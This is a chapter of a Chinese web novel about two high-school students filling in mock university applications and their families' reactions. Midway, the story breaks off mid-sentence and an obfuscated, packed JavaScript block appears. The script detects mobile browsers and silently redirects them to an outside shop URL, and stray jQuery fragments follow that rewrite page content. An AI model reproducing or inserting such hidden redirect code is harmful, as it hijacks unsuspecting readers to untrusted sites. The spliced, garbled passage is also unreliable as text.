文趣网 > 都市小说 > 八零旧巷有回声 > 41. 第一格写在旧巷外
    高考前第十六天,学校发下模拟志愿表。

    李老师把厚厚一摞纸放到讲台上,先没往下传。

    “这不是正式志愿,但也别拿来开玩笑。每个人按最近几次成绩、想学的专业和家庭情况认真填,周一交回来,老师再单独谈。”

    陈斌在后排问:“能填清华吗?”

    “可以。”李老师说,“老师谈话时顺便替你联系医院,看有没有治白日梦的科室。”

    教室里笑成一片。

    志愿表传下来,纸比平时的练习卷硬一些。第一栏是学校,第二栏是专业,后面还有是否服从调剂、家庭意见和本人签名。

    周念安拿到表,没有立刻写。

    梁潮生从后面探过头:“第一格还要想?”

    “要查专业。”

    “你不是一直想读财经?”

    “财经也分很多。”

    会计、统计、财政、工业经济。

    这些名字印在招生资料上,看起来都差不多,真正学的东西却不一样。周念安把资料翻了两遍,最终在第一志愿那栏写下:

    省财经学院,会计学。

    笔尖落下去很稳。

    梁潮生坐在后面,看见“省”字时没什么反应,看到学校名称后,却把手里的笔转慢了一圈。

    “省城。”

    “嗯。”

    “坐火车要多久?”

    “快车五个多小时,慢车七个小时。”

    “你连车都查了?”

    “招生资料后面有地址。”

    梁潮生把那张资料拿过去,找到学校所在地,又在地图册上翻了半天。省城离旧巷不算天南地北,可画在地图上,也隔着一段不短的铁路线。

    “第一志愿就填这么远。”他说。

    周念安抬头:“省内。”

    “我知道。”

    “又不是出国。”

    “我也没说不让你去。”

    话说出口,梁潮生自己先顿了一下。

    “让”这个字不对。

    周念安显然也听见了,却没跟他计较,只低头继续填第二志愿。

    “你准备填哪里?”她问。

    梁潮生的表还是空的。

    “看分数。”

    “模拟志愿就是让你按现在的分数估。”

    “我现在的分数估不准。”

    “那按想学什么填。”

    梁潮生扫了一眼招生资料。

    机械、电子、无线电技术、企业管理。每一个词都能跟他沾上一点边,又没有哪个像红叶照相馆那样,已经实实在在摆在眼前。

    他拿笔在第一栏写下:

    省电子工业学校,无线电技术。

    周念安回头看他。

    “也是省城。”

    “许你去,不许我去?”

    “我没说。”

    “那你看什么?”

    “看你的字有没有出格。”

    梁潮生低头检查。

    “这次没有。”

    第二志愿,他填了市里的机械工业学校。第三栏空着,服从调剂那一项也没有打钩。

    周念安看了一遍。

    “为什么不服从?”

    “我想学的就这两样。把我调去不认识的专业,读几年也未必有用。”

    “可能会影响录取。”

    “知道。”

    他答得很轻,却没改。

    放学后,红叶没有立刻开门。

    门上新贴了一张告示:

    高考前暂停新接婚礼、团体照及复杂旧照修复。已预约业务照常,取片请于下午五点至七点。

    梁潮平看完,觉得损失惨重。

    “这半个月少挣多少钱?”

    周念安正在统计未交付订单:“少挣的不一定是损失。接了做不完,才是。”

    “可店不开,客人去别人家,以后不回来了怎么办?”

    梁潮生把一摞磁带放进柜子。

    “能因为半个月不回来的人,本来就留不住。等考完再说。”

    他说得轻松,关上柜门以后却又回头看了眼门外。

    红叶最近刚有些热闹。

    墙上挂着毕业照,柜台上摆着双卡录音机,预约本终于不再一页页空着。现在他们主动把门合上一半,总让人觉得刚刚抓住的东西又松了手。

    韩师傅看出他的心思。

    “生意不是天天开门才叫生意。”他说,“什么时候该接,什么时候该停,也得自己知道。”

    梁潮生坐回桌边,翻开英语词汇表。

    “您现在说什么都能绕到考试上。”

    “因为你不看书的时候太显眼。”

    红叶暂停新单后,晚上的确安静了不少。

    周念安和梁潮生各占柜台一头,中间放着相机、账本和一只保温壶。韩师傅整理暗房,偶尔从里头扔出一句问题;梁潮平在旁边写作业,十分钟问一次几点休息。

    八点半,周念安收好试卷,拿出模拟志愿表。

    “家庭意见还没签。”

    梁潮生问:“你家会同意吗?”

    “会。”

    她答得很快。

    可真正把表带回家时,周家饭桌还是安静了一会儿。

    赵桂兰先问:“省城一个月生活费得多少?”

    周念安报了个大概数字。

    周建国问:“会计学以后做什么?”

    “企业、银行、财务部门都可以。”

    “能分回来吗?”

    “不一定。”

    周建国的手停在碗边。

    这句“不一定”比省城更具体。

    女儿考出去,毕业以后可能不回旧巷,不进厂,也不会继续住在这间挤着三姐妹的屋里。她的人生不再是从家门到学校、再从学校到红叶那么短的一段路。

    以前周建国怕她走得太远,曾替她改过一次志愿。

    如今新的志愿表摆在面前,他盯着第一栏看了很久,最终只问:“学校是你自己查的?”

    “嗯。”

    “专业也是?”

    “嗯。”

    他点点头,把表推回去。

    “那就写。”

    赵桂兰看了丈夫一眼,又问:“钱呢?”

    周念梅立刻说:“我每个月拿一点。”

    周念秋也说:“我也拿,少买两件衣服的事。”

    “你先少买一条丝巾再说。”周念梅拆她的台。

    “丝巾是工作需要,红叶拍照要搭衣服。”

    “你上个月买了四条。”

    “颜色不一样。”

    眼看两个人又要吵起来,周念安把笔放到父亲面前。

    “只是模拟志愿。”

    “模拟也得当真填。”

    周建国拿起笔,却没有立刻签名。

    他把表翻到背面,又翻回来,像是确认没有藏着第二张需要家长决定的东西。最后在家庭意见里写:

    尊重本人选择。

    六个字。

    和梁振山写在招工意向表上的那句很像。

    字却比从前那张被改过的志愿表更重。

    周念安看着父亲签完名字,没有说谢谢,也没有提旧事。周建国同样没有解释,只把钢笔帽扣好。

    “真考上了再算钱。”他说,“现在先把分考够。”

    赵桂兰嫌这句话不吉利:“什么叫真考上?咱念安当然考得上。”

    周念秋马上接:“到时候我送她去省城,顺便看看那边百货商店。”

    周念梅说:“你是送人还是进货?”

    饭桌又吵起来。

    周念安把表收进文件袋,嘴角一直带着一点很浅的笑。

    第二天,她把签好的志愿表带到红叶。

    梁潮生比她早到,正坐在门口台阶上背书。看见她过来,他先伸手。

    “给我看看。”

    “看什么?”

    “第一志愿改没改。”

    “为什么要改?”

    “可能你爸觉得太远。”

    周念安把表递给他。

    梁潮生一眼看见家庭意见栏。

    尊重本人选择。

    他看了几秒,把纸还回去。

    “挺好。”

    “你的呢?”

    “还没签。”

    “梁叔不同意?”

    “不是。”

    梁潮生从书包里拿出自己的模拟志愿。梁振山已经签了字,写的也是同一句:

    由本人决定。

    只是表格右下角多出一行小字,是梁振山另外加的:

    报考学校与专业情况已了解。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792919|208021||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>“他昨晚拿着招生简章问了半小时。”梁潮生说,“学什么,毕业去哪儿,宿舍几个人,连食堂一个月吃多少钱都问。”

    “你回答出来了?”

    “前面能。食堂不知道。”

    “所以他让你再查?”

    “他说不知道还敢填。”

    梁潮生语气嫌烦,折表时却很小心,没有把父亲签名的位置压进折痕里。

    两张模拟志愿并排放在柜台上。

    第一栏都是省城。

    周念安是财经学院。

    梁潮生是电子工业学校。

    看起来像两个人已经把九月安排得明明白白,仿佛只要高考结束,他们便会前后脚坐上同一趟火车。

    可真正的结果还没有来。

    梁潮生的分数够不够,红叶最后由谁接,韩师傅离开以后店能不能撑住,谁都不知道。

    他看着两张表,忽然问:“要是我们都考上呢?”

    “就去报到。”

    “红叶呢?”

    “提前安排。”

    “又安排。”

    “你不是已经学会交接了?”

    “六周和几年不一样。”

    周念安把表装回文件袋。

    “那也不能为了红叶故意少考几分。”

    “谁会故意少考?”

    “你。”

    “我在你心里到底是什么人?”

    “会把不想做说成做不到的人。”

    梁潮生被堵得半天没说出话。

    过了一会儿,他低头笑了。

    “行。我先尽量考。”

    “不是尽量。”

    “那是什么?”

    “把会的都做对。”

    又是她一贯的说法。

    不保证奇迹,也不拿一句“肯定能考上”哄人。先把会的做对,把名字写清楚,把能争的分拿到。剩下的,等成绩出来再说。

    当晚,红叶只接待了两名取片的客人。

    七点以后,韩师傅把营业牌翻过去,亲自锁了门。

    “从明天开始,晚上不开店。”他说,“你们去学校上自习。暗房这边我自己收尾。”

    梁潮生问:“您不是还要收拾行李?”

    “几件衣服有什么好收拾的。”

    “那剩下的订单呢?”

    “都做完了。”

    韩师傅从柜台下拿出最后一只纸袋。

    里面是秦师傅与旧校门的第三张放大照片,学校档案室那张前两天装框时发现玻璃有裂纹,重新换过。

    纸袋交出去后,红叶高考前的订单彻底清空。

    预约本停在六月二十一日。

    后面一整页都是空白。

    韩师傅在空白页上写了一行:

    六月二十二日起,暂停接单。七月十日后,由新负责人续记。

    “新负责人是谁?”梁潮平问。

    韩师傅盖上笔帽。

    “谁来开门,就是谁。”

    他说完,把账本推到梁潮生和周念安中间。

    谁都没有立刻接。

    最后,周念安先把它合上,放进柜台抽屉。

    梁潮生落锁。

    一大一小两把钥匙仍旧分在他们手里。

    走出红叶时,天还没有完全黑。旧巷口的路灯刚亮,远处学校传来晚自习预备铃。

    梁潮生推着自行车,走了几步,忽然问:“周念安,省城真有那么好吗?”

    “不知道。”

    “那你还把它填第一格?”

    “因为我想去看看。”

    “看完呢?”

    “看完再决定留不留。”

    周念安骑上车,蓝发带被晚风吹到肩后。

    “人不能因为不知道外面好不好,就永远不出去。”

    她先骑出一段,又停下来回头。

    “你走不走?”

    梁潮生站在红叶门口,手里还捏着那把黄铜钥匙。

    他回头看了一眼已经熄灯的橱窗,把钥匙放进口袋,跨上自行车。

    “走。”

    两辆车一前一后出了旧巷。

    模拟志愿表上,他们都把第一格写在了旧巷以外。

    可这天晚上,他们赶去的地方仍旧是那间熟悉的教室。

    距离高考,还有十五天。